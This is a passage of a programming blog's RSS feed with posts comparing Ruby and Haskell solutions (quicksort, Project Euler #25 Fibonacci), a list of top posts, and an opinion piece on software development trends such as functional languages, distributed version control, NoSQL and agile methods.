<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">&quot;first&quot;</span>, <span style="color:#996600;">&quot;second&quot;</span>, <span style="color:#996600;">&quot;third&quot;</span>, <span style="color:#996600;">&quot;fourth&quot;</span><span style="color:#006600; font-weight:bold;">&#93;</span>
irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:009:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> x
<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;first&quot;</span>
irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:010:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> xs
<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">&quot;second&quot;</span>, <span style="color:#996600;">&quot;third&quot;</span>, <span style="color:#996600;">&quot;fourth&quot;</span><span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

<p>For a comparison, here is my Haskell version:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p205code33'); return false;">View Code</a> HASKELL</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p20533"><td class="code" id="p205code33"><pre class="haskell" style="font-family:monospace;">quicksort <span style="color: #339933; font-weight: bold;">::</span> <span style="color: green;">&#40;</span><span style="color: #cccc00; font-weight: bold;">Ord</span> a<span style="color: green;">&#41;</span> <span style="color: #339933; font-weight: bold;">=&gt;</span> <span style="color: green;">&#91;</span>a<span style="color: green;">&#93;</span> <span style="color: #339933; font-weight: bold;">-&gt;</span> <span style="color: green;">&#91;</span>a<span style="color: green;">&#93;</span>    
quicksort <span style="color: green;">&#91;</span><span style="color: green;">&#93;</span> <span style="color: #339933; font-weight: bold;">=</span> <span style="color: green;">&#91;</span><span style="color: green;">&#93;</span>    
quicksort <span style="color: green;">&#40;</span>x:xs<span style="color: green;">&#41;</span> <span style="color: #339933; font-weight: bold;">=</span> quicksort <span style="color: green;">&#40;</span><span style="font-weight: bold;">filter</span> <span style="color: green;">&#40;</span><span style="color: #339933; font-weight: bold;">&lt;</span> x<span style="color: green;">&#41;</span> xs<span style="color: green;">&#41;</span> <span style="color: #339933; font-weight: bold;">++</span> <span style="color: green;">&#91;</span>x<span style="color: green;">&#93;</span> <span style="color: #339933; font-weight: bold;">++</span> quicksort <span style="color: green;">&#40;</span><span style="font-weight: bold;">filter</span> <span style="color: green;">&#40;</span><span style="color: #339933; font-weight: bold;">&gt;=</span> x<span style="color: green;">&#41;</span> xs<span style="color: green;">&#41;</span></pre></td></tr></table></div>

<p>Almost the same, right? The difference again is that the Ruby version says how to <em>do</em> the sort while the Haskell version is describing the algorithm, the method itself, it&#8217;s closer to saying <em>what</em> quicksort is. It has no &#8216;do it next&#8217; and &#8216;return this&#8217;.</p>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/pTkbr7HRuKLcDwTYZjHg97eclr4/0/da"><img src="http://feedads.g.doubleclick.net/~a/pTkbr7HRuKLcDwTYZjHg97eclr4/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/pTkbr7HRuKLcDwTYZjHg97eclr4/1/da"><img src="http://feedads.g.doubleclick.net/~a/pTkbr7HRuKLcDwTYZjHg97eclr4/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/jAxshQInvko" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/functional-ruby-a-simple-example/feed/</wfw:commentRss>
		<slash:comments>34</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/functional-ruby-a-simple-example/</feedburner:origLink></item>
		<item>
		<title>Ruby vs. Haskell – project Euler #25 deathmatch</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/_popPJcz6sM/</link>
		<comments>http://blog.mostof.it/ruby-vs-haskell-project-euler-25-deathmatch/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 17:33:21 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Featured Articles]]></category>
		<category><![CDATA[haskell]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[fibonacci]]></category>
		<category><![CDATA[project euler]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=192</guid>
		<description><![CDATA[What is the first term in the Fibonacci sequence to contain 1000 digits?
This is the quesion I'm answering, comparing the Ruby and the Haskell solutions.


Let's see the ruby version first, with an imperative approach.

require 'matrix'

limit = 10**999
FIBONACCI_MATRIX = Matrix,]
def fibonacci(n)
  (FIBONACCI_MATRIX**(n-1)) 
end
i = 1
i+=1 while fibonacci(i) < limit
puts i


Here I am using the ...]]></description>
			<content:encoded><![CDATA[<p></p><blockquote><p>What is the first term in the Fibonacci sequence to contain 1000 digits?</p></blockquote>
<p>This is the quesion I&#8217;m answering, comparing the Ruby and the Haskell solutions.</p>
<p><span id="more-192"></span><br />
Let&#8217;s see the ruby version first, with an imperative approach.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p192code34'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p19234"><td class="code" id="p192code34"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'matrix'</span>
&nbsp;
limit = <span style="color:#006666;">10</span><span style="color:#006600; font-weight:bold;">**</span><span style="color:#006666;">999</span>
FIBONACCI_MATRIX = <span style="color:#CC00FF; font-weight:bold;">Matrix</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#93;</span>
<span style="color:#9966CC; font-weight:bold;">def</span> fibonacci<span style="color:#006600; font-weight:bold;">&#40;</span>n<span style="color:#006600; font-weight:bold;">&#41;</span>
  <span style="color:#006600; font-weight:bold;">&#40;</span>FIBONACCI_MATRIX<span style="color:#006600; font-weight:bold;">**</span><span style="color:#006600; font-weight:bold;">&#40;</span>n<span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span>,<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
i = <span style="color:#006666;">1</span>
i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span> <span style="color:#9966CC; font-weight:bold;">while</span> fibonacci<span style="color:#006600; font-weight:bold;">&#40;</span>i<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&lt;</span> limit
<span style="color:#CC0066; font-weight:bold;">puts</span> i</pre></td></tr></table></div>

<p>Here I am using the fast matrix-based fibonacci calculation method, see the <a href="http://en.wikipedia.org/wiki/Fibonacci_number#Matrix_form">Wikipedia entry</a> &#8211; no, memoization is not faster in this case, I&#8217;ve tried it.<br />
The code is pretty straight-forward, first I define the limit and initial 2&#215;2 matrix used for the calculation, then I define the fibonacci calculation function. Probably it would be much faster using the native <a href="http://narray.rubyforge.org/">NArray</a> package for matrix calculation.<br />
The runtime on my macbook pro has an average of 3.5 seconds. </p>
<p>And now for the Haskell solution:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p192code35'); return false;">View Code</a> HASKELL</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p19235"><td class="code" id="p192code35"><pre class="haskell" style="font-family:monospace;">limit <span style="color: #339933; font-weight: bold;">=</span> <span style="color: red;">10</span><span style="color: #339933; font-weight: bold;">^</span><span style="color: red;">999</span>
fibonacci<span style="color: #339933; font-weight: bold;">_</span>numbers <span style="color: #339933; font-weight: bold;">=</span> <span style="color: red;">0</span>:<span style="color: red;">1</span>:<span style="color: green;">&#40;</span><span style="font-weight: bold;">zipWith</span> <span style="color: green;">&#40;</span><span style="color: #339933; font-weight: bold;">+</span><span style="color: green;">&#41;</span> 
                        fibonacci<span style="color: #339933; font-weight: bold;">_</span>numbers <span style="color: green;">&#40;</span><span style="font-weight: bold;">tail</span> fibonacci<span style="color: #339933; font-weight: bold;">_</span>numbers<span style="color: green;">&#41;</span><span style="color: green;">&#41;</span>
&nbsp;
index <span style="color: #339933; font-weight: bold;">=</span> <span style="font-weight: bold;">length</span> w <span style="color: #06c; font-weight: bold;">where</span> w <span style="color: #339933; font-weight: bold;">=</span> takeWhile <span style="color: green;">&#40;</span><span style="color: #339933; font-weight: bold;">&lt;</span> limit<span style="color: green;">&#41;</span> fibonacci<span style="color: #339933; font-weight: bold;">_</span>numbers
&nbsp;
main <span style="color: #339933; font-weight: bold;">=</span> <span style="color: #06c; font-weight: bold;">do</span>
  <span style="font-weight: bold;">putStrLn</span><span style="color: green;">&#40;</span><span style="font-weight: bold;">show</span><span style="color: green;">&#40;</span>index<span style="color: green;">&#41;</span><span style="color: green;">&#41;</span></pre></td></tr></table></div>

<p>This probably requires a bit more explanation. I think the variable &#8216;limit&#8217; is clear, let&#8217;s look at the definition of the fibonacci_numbers function. This resolves to a list and is quite simple and logical when we give a bit of thought to it.<br />
First, define a few things.</p>
<ul>
<li>&#8216;<strong><em>:</em></strong>&#8216; &#8211; this is the list concat/construct operator, it concatenates the item(s) on its right to the item(s) on its left</li>
<li>&#8216;<em><strong>zipWith</strong></em>&#8216; &#8211; this is a list function, by definition &#8220;makes a list, its elements are calculated from the function and the elements of input lists occuring at the same position in both lists&#8221;</li>
<li> &#8216;<strong><em>(+)</em></strong>&#8216; &#8211; this is the addition operator as a function.
</ul>
<p>What is the Fibonacci sequence? A list of numbers, starting with 0,1 where every other element is the sum of the previous two elements.<br />
So, how is this fibonacci_numbers list being built? It has a recursive definition: start with 0 and 1, then calculate all further items by adding the previous two (zipWith (+) does exactly this). We are using this approach because of it&#8217;s witty speed &#8211; it doesn&#8217;t recalculate previous elements. One other thing about this construct: it&#8217;s called a lazy list. It&#8217;s lazy because the elements aren&#8217;t computed until they&#8217;re accessed. Also, this is an infinite list. If we tried printing it, it&#8217;d go &#8216;forever&#8217; (until it has no more free RAM).</p>
<p>takeWhile behaves as it name suggests: it takes more and more elements from a list while its function predicate evaluates to true &#8211; we are scanning a list until we find an item which is not less than the limit specified.</p>
<p>Apart from its speed (an average of 0.008 seconds on my macbook pro) this solution has elegance and is much closer to the original (mathematic) definition of the Fibonacci sequence. Notice the biggest and most important difference between the approaches:<br />
The Ruby implementation tells <strong><em>how to calculate</em></strong> the nth item of the Fibonacci sequence, the Haskell version defines <strong><em>what the Fibonacci sequence is</em></strong>.</p>
<p>If you liked it, take a look at my older post about solving project Euler problem #1 in erlang <a href="http://blog.mostof.it/project-euler-and-erlang-introduction-problem-1">here</a></p>
<p>Stay tuned for more Project Euler solutions in haskell and ruby!</p>
<p><strong>UPDATE</strong></p>
<p>Code after applying <a href="http://community.haskell.org/~ndm/hlint/">HLint</a> (thank you, Neil Mitchell!) suggestions:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p192code36'); return false;">View Code</a> HASKELL</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p19236"><td class="code" id="p192code36"><pre class="haskell" style="font-family:monospace;">limit <span style="color: #339933; font-weight: bold;">=</span> <span style="color: red;">10</span><span style="color: #339933; font-weight: bold;">^</span><span style="color: red;">999</span>
fibonacciNumbers <span style="color: #339933; font-weight: bold;">=</span> <span style="color: red;">0</span>:<span style="color: red;">1</span>:<span style="font-weight: bold;">zipWith</span> <span style="color: green;">&#40;</span><span style="color: #339933; font-weight: bold;">+</span><span style="color: green;">&#41;</span> fibonacciNumbers <span style="color: green;">&#40;</span><span style="font-weight: bold;">tail</span> fibonacciNumbers<span style="color: green;">&#41;</span>
&nbsp;
index <span style="color: #339933; font-weight: bold;">=</span> <span style="font-weight: bold;">length</span> w <span style="color: #06c; font-weight: bold;">where</span> w <span style="color: #339933; font-weight: bold;">=</span> takeWhile <span style="color: green;">&#40;</span><span style="color: #339933; font-weight: bold;">&lt;</span> limit<span style="color: green;">&#41;</span> fibonacciNumbers
&nbsp;
main <span style="color: #339933; font-weight: bold;">=</span> <span style="font-weight: bold;">print</span> index</pre></td></tr></table></div>

<p>Much nicer!</p>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/ZiVAZrqNWyA7ovF74JT11-QMpks/0/da"><img src="http://feedads.g.doubleclick.net/~a/ZiVAZrqNWyA7ovF74JT11-QMpks/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/ZiVAZrqNWyA7ovF74JT11-QMpks/1/da"><img src="http://feedads.g.doubleclick.net/~a/ZiVAZrqNWyA7ovF74JT11-QMpks/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/_popPJcz6sM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/ruby-vs-haskell-project-euler-25-deathmatch/feed/</wfw:commentRss>
		<slash:comments>49</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/ruby-vs-haskell-project-euler-25-deathmatch/</feedburner:origLink></item>
		<item>
		<title>Top posts on blog.mostof.it as of 2010.feb.13.</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/w96Sy1ewZbE/</link>
		<comments>http://blog.mostof.it/top-posts-on-my-blog-part-1/#comments</comments>
		<pubDate>Sun, 14 Feb 2010 07:17:54 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Featured Articles]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=190</guid>
		<description><![CDATA[* Top  5 trends and technologies in software development

In this  ever-changing world of software development it's extremely important to  keep up with current technologies, methodologies and trends.

* Top  5 mac tools for web development

See my recommendations for web  development tools on macs

* Ruby  blocks and closures 101

Let's go ...]]></description>
			<content:encoded><![CDATA[<p></p><p>* <a href="http://blog.mostof.it/top-5-trends-in-software-development">Top  5 trends and technologies in software development</a></p>
<p>In this  ever-changing world of software development it&#8217;s extremely important to  keep up with current technologies, methodologies and trends.</p>
<p>* <a href="http://blog.mostof.it/top-5-mac-tools-for-web-development">Top  5 mac tools for web development</a></p>
<p>See my recommendations for web  development tools on macs</p>
<p>* <a href="http://blog.mostof.it/why-ruby-part-two-blocks-and-closures">Ruby  blocks and closures 101</a></p>
<p>Let&#8217;s go on with diving into the beauties  of ruby &#8211; this time check out how elegant blocks and closures and their  first-class support in ruby can make our codes.</p>
<p>* <a href="http://blog.mostof.it/why-ruby-part-one-a-classy-class-system">Ruby  class system introduction and teaser</a></p>
<p>This is part one of a  forthcoming series about ruby &#8211; and why I love it. This first episode  focuses on general ideas, concepts and philosophy about ruby and a  gentle introduction to its class system.</p>
<p>* <a href="http://blog.mostof.it/of-php-hiphop-and-c">Of  PHP, Facebook&#8217;s HipHop and C++</a></p>
<p>My thoughts on Facebook&#8217;s new PHP  to C++ translator</p>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/0XS_QU3Rf7KiyRZ5DSZaW9qJlFY/0/da"><img src="http://feedads.g.doubleclick.net/~a/0XS_QU3Rf7KiyRZ5DSZaW9qJlFY/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/0XS_QU3Rf7KiyRZ5DSZaW9qJlFY/1/da"><img src="http://feedads.g.doubleclick.net/~a/0XS_QU3Rf7KiyRZ5DSZaW9qJlFY/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/w96Sy1ewZbE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/top-posts-on-my-blog-part-1/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/top-posts-on-my-blog-part-1/</feedburner:origLink></item>
		<item>
		<title>Top 5 trends and technologies in software development</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/AsHqriZGR8E/</link>
		<comments>http://blog.mostof.it/top-5-trends-in-software-development/#comments</comments>
		<pubDate>Sun, 14 Feb 2010 07:10:10 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Featured Articles]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[theory]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[trends]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=180</guid>
		<description><![CDATA[

In this ever-changing world of software development it's extremely  important to keep up with current technologies, methodologies and  trends. It can easily get out of hand though - simply there's not enough  time for anyone to learn all new stuff, work and live a normal life  simultaneously. Selection is thus ...]]></description>
			<content:encoded><![CDATA[<p></p><div id="post">
<p>In this ever-changing world of software development it&#8217;s extremely  important to keep up with current technologies, methodologies and  trends. It can easily get out of hand though &#8211; simply there&#8217;s not enough  time for anyone to learn all new stuff, work and live a normal life  simultaneously. Selection is thus the key, being smartly selective about  new things to learn so we won&#8217;t miss important stuff but also keep  &#8216;junk&#8217; or unimportant trends out.</p>
<p>I created this small and ever-incomplete list of things I feel we all  should pay attention to and practice. Some items could be considered  &#8216;old&#8217; (read: more than a few months old) but still not grasped enough  yet.</p>
<p><span id="more-180"></span></p>
<p>Without further ado I present thee the list:</p>
<ul>
<li>Learn and use a modern scripting language
<ul>
<li>it can be <a title="The Ruby  homepage" href="http://www.ruby-lang.org/en/">Ruby</a>, <a title="The Python  homepage" href="http://www.python.org/">Python</a>, <a title="The  Groovy homepage" href="http://groovy.codehaus.org/">Groovy</a> or TheNextBigShot coming along, it doesn&#8217;t  really matter. What matters is having a quick and easy tool for anything  at hand so we won&#8217;t have to fire up our java IDE for a simple script.  Also (most of) these languages encourage good pracices and methods,  changing our attitude towards programming and program design. Embracing  these &#8220;wow, look how elegant and simple that is!&#8221; solutions also become  expectations with time (because we&#8217;ll get used to the ease and  convenience), thus we will be striving for elegance and quality &#8211;  helping impoving all of our further designs and codes. Some writings on ruby for example:
<ul>
<li><a href="http://blog.mostof.it/why-ruby-part-one-a-classy-class-system">Ruby&#8217;s class system</a></li>
<li><a href="http://blog.mostof.it/why-ruby-part-two-blocks-and-closures">Ruby blocks and closures</a></li>
<li><a href="http://blog.mostof.it/why-ruby-part-three-%e2%80%93-method-arguments">Ruby method arguments</a></li>
</ul>
</li>
</ul>
</li>
<li>Learn thogoughly and embrace the philosophy of a modern version  control system
<ul>
<li>Be it <a title="The git site" href="http://git-scm.com/">Git</a> or <a title="The mercurial site" href="http://mercurial.selenic.com/">Mercurial</a>,  but start using them. Right now. Embrace the paradigm shift that gave  birth to these tools. If not at work then try any of these on a personal  project. These tools fit better to a natural cycle of development than  our old tools svn or cvs. Being distributed does not mean they can&#8217;t be  used as a central company repo solution. They both encourage the concept  of cheap local branching, keeping you safe by being able to revert any  time (as traditional VCSes) and also keeping the central main repo clean  of nitty-gritty details.</li>
</ul>
</li>
<li>Be familiar with <a href="http://en.wikipedia.org/wiki/NoSQL">NoSQL  solutions</a> like <a title="The MongoDB homepage" href="http://www.mongodb.org/display/DOCS/Home">MongoDB</a>, <a title="The CouchDB site at apache  projects" href="http://couchdb.apache.org/">CouchDB</a>.
<ul>
<li>These beasts can be a real life-saver when traditional relational  DBs reach their limits at scaling and performance. Both MongoDB and  CouchDB are what&#8217;s called a &#8216;document-oriented database&#8217; which means  that instead of rigid schemas the structure of each row is taken into  account &#8211; they don&#8217;t even have to have the same fields, etc. The concept  of &#8216;row&#8217; becomes the concept of &#8216;document&#8217;. JSON-like data structures,  dynamic queries, efficient storage of binary data (like videos, images),  mapreduce support account for their robust and easy use-cases.</li>
</ul>
</li>
<li>Learn a functional language &#8211; or more than one.
<ul>
<li>It&#8217;s about the paradigm shift and philosophy again. The more things  you see and use the more complete you repertoire will become.  Object-oriented / imperative design is not the only one out there. Take a  look at <a title="Erlang  site" href="http://ftp.sunet.se/pub/lang/erlang/">Erlang</a> for starters, it&#8217;s easy to learn and with it you can  dip your toe in the water, but for more serious stuff <a title="The Haskell site" href="http://www.haskell.org/">Haskell</a> or <a title="The OCaml site" href="http://caml.inria.fr/ocaml/index.en.html">OCaml</a> is a must (I vote for Haskell though). I&#8217;d say learning a functional  language is not an option anymore &#8211; it&#8217;s a must. Some problems can be  solved in an insanely easy manner with a functional approach and for  example Haskell can easily implement any mathematic definition or  problem you&#8217;d be having a problem describing in any imperative language.  Also <a href="http://www.haskell.org/ghc/">GHC</a> (The Glasgow Haskell  Compiler) is a state of the art optimizing compiler, one of the best  compiler available now. Of course Haskell is not only for scientists,  many good libraries are coming out written in haskell. Also see <a href="http://book.realworldhaskell.org/read/">Real world Haskell</a> for  a nice intro. Erlang is well known for its fault tolerance, concurrency  paradigms, hot-swappable code and exceptional networking support.  Having such a tool at hand is always a bonus.
<ul>
<li><a href="http://blog.mostof.it/project-euler-and-erlang-introduction-problem-1">My  solution to Project Euler&#8217;s first problem in erlang</a></li>
</ul>
</li>
</ul>
</li>
<li>Study agile methods and concepts.
<ul>
<li>Agile management is not only for managers. There&#8217;s a need for the  whole team to have a good understanding about their own development and  management process. Agile helps to standardize management and daily  programmer work, enforcing a small, controllable devel/release/testing  cycle and also encouraging good communication all across the team  (actually agile just can&#8217;t work without good communicatiion!). Just look  at the <a href="http://agilemanifesto.org/">Agile manifesto</a>. Some  important derivatives and parts of agile methods:
<ul>
<li>TDD &#8211; <a href="http://en.wikipedia.org/wiki/Test-driven_development">Test  Driven Development</a></li>
<li>Iteration-based development &#8211; deliver less but more frequently in  well-defined short bursts</li>
<li>BDD &#8211; <a href="http://en.wikipedia.org/wiki/Behavior_driven_development">Behavior  Driven Development</a></li>
<li>XP &#8211; <a href="http://en.wikipedia.org/wiki/Extreme_Programming">Extreme  Programming</a></li>
<li>CI &#8211; <a href="http://en.wikipedia.org/wiki/Continuous_Integration">Continuous  Integration</a></li>
<li><a href="http://en.wikipedia.org/wiki/Scrum_%28development%29">Scrum</a></li>
</ul>
</li>
</ul>
</li>
</ul>
<p>My old friend Muhuk has written a nice follow-up on this topic <a title="Muhuk's post about 'untrends'" href="http://www.muhuk.com/2010/02/top-5-untrends-according-to-me/">here</a> &#8211; many good points, be  sure to check it out!</p>
<p>I&#8217;d be glad to hear your opinion, feedbacks and probably huge list of  things I&#8217;ve missed here! Thank you for reading this article.</p>
</div>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/r9imvszYVlhmuim7UnFDncd1Ado/0/da"><img src="http://feedads.g.doubleclick.net/~a/r9imvszYVlhmuim7UnFDncd1Ado/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/r9imvszYVlhmuim7UnFDncd1Ado/1/da"><img src="http://feedads.g.doubleclick.net/~a/r9imvszYVlhmuim7UnFDncd1Ado/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/AsHqriZGR8E" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/top-5-trends-in-software-development/feed/</wfw:commentRss>
		<slash:comments>35</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/top-5-trends-in-software-development/</feedburner:origLink></item>
	</channel>
</rss><!-- Dynamic page generated in 0.527 seconds. --><!-- Cached page generated by WP-Super-Cache on 2012-01-10 06:28:46 -->

